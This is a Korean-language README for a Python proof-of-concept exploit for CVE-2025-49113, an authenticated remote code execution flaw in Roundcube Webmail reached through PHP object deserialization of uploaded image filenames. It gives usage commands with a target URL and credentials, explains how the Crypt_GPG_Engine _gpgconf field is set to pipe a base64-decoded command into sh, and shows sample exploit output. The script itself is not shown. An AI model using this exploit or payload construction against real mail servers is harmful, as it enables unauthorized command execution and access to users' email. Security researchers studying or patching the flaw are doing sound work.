
💥 CVE-2025-49113용 Python 익스플로잇 | PHP 객체 주입을 통한 Roundcube Webmail RCE
CVE ID: CVE-2025-49113
공격 유형: Remote Code Execution (via PHP Object Injection)
적용 대상: Roundcube Webmail ≤ 1.5.9 and ≤ 1.6.10
공격 언어: Python
작성자: 00xCanelo
상태: 테스트 완료, 취약한 Roundcube 설치 환경에서 동작 확인
이 익스플로잇은 Roundcube Webmail이 업로드된 이미지 파일명을 처리할 때 PHP 객체로 역직렬화(unserialize)하는 과정에서 발생하는 취약점을 이용합니다. Crypt_GPG_Engine 역직렬화 체인을 트리거하는 악의적인 페이로드를 조작하여 인증 후 원격 명령 실행(RCE)이 가능합니다.
이 Python PoC는 기존 공개된 PHP 익스플로잇에서 사용된 공격 체인을 모방하되, 더 깔끔한 로직, 선택적 로깅, 그리고 공격 도구 세트에서 사용하기 쉬운 형태로 구현되었습니다.
pip install requestspython3 CVE-2025-49113.py <target_url> <username> <password> <command>
python3 CVE-2025-49113.py https://mail.target.htb/ [email protected] 'P@ssw0rd123' 'id'
PHP 클래스 Crypt_GPG_Engine은 _gpgconf 필드를 설정할 수 있도록 하며, 이 필드는 이후 셸 실행에 전달됩니다.
페이로드에서는 _gpgconf에 다음을 구성합니다:
echo "<base64-encoded-cmd>" | base64 -d | sh
이 값은 역직렬화 시 RCE로 이어집니다.
[*] Starting CVE-2025-49113 exploit...
[*] Checking Roundcube version...
[*] Detected Roundcube version: 10606
[+] Target is vulnerable!
[*] Logging in...
[+] Login successful.
[*] Uploading serialized gadget as image filename...
[+] Gadget uploaded successfully!
.
├── CVE-2025-49113.py # Python PoC 스크립트
└── README.md # 본 문서
이 코드는 교육 및 승인된 보안 테스트 목적으로만 사용해야 합니다. 이 도구의 오용은 엄격히 금지됩니다. 저자는 사용으로 인한 어떠한 손해에도 책임을 지지 않습니다.